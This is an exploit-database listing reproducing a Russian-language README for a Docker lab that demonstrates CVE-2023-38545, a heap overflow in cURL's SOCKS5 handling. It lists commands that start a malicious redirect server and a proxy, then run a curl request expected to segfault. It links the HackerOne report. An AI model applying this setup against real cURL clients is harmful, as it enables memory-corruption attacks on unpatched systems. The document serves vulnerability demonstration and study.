Sploitus

Exploit for CVE-2023-38545-sample

kitploit · 2026-08-26

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VANIGORI-CVE-2023-38545-SAMPLE
# Краткое описание

Это демонстрация уязвимости CVE-2023-38545 в cURL. Я сделал её настолько лёгкой, насколько это возможно.

# Настройка

Сначала соберите Docker-образ:

`docker build . -t cveimage`

Затем можно просто запустить образ, создав временный Docker-контейнер, который будет удалён после остановки контейнера:

`docker run --rm --tty --net="host" --name cvecontainer cveimage`

Если вам сложно вводить команды, просто откройте другой терминал и выполните:

`docker exec -it cvecontainer /bin/bash`

Теперь нужно запустить все сервисы. Подключитесь к уже запущенному контейнеру и выполните:

`./exploit/malicious_redirect_server.sh &`

`python3 /exploit/proxy.py &`

Теперь изнутри контейнера вы можете увидеть эксплуатацию уязвимости cURL в действии:

`curl -vvv --limit-rate 100 --location --proxy socks5h://127.0.0.1:1080 http://localhost:8000`

Чтобы убедиться, что эксплойт сработал, вы должны увидеть ошибку сегментации на машине, где выполнялась команда curl. Если вы её не видите, значит либо эксплойт не сработал, либо в процессе было так много доступного heap-пространства, что вы не перезаписали недоступную память.

# Дальнейшая работа (PR приветствуются)

  * Сделать этот README красивым
  * Настроить systemd для автоматического запуска кода эксплойта
  * Уменьшить время сборки и размер Docker-образа
  * Что-нибудь ещё / всё остальное...?



# Ссылки

  * Socks5-прокси не самодельный. Оригинальный код прокси можно найти здесь: https://github.com/alexbers/tgsocksproxy
  *     * Изначально эксплуатировалось в ubuntu (wsl) с поддержкой systemd: https://github.com/aire1/mtproxy_autoinstaller
  * Отчёт на hackerone, который сэкономил массу времени на исследование. Прочтите его, если хотите понять, как возникает эта уязвимость: https://hackerone.com/reports/2187833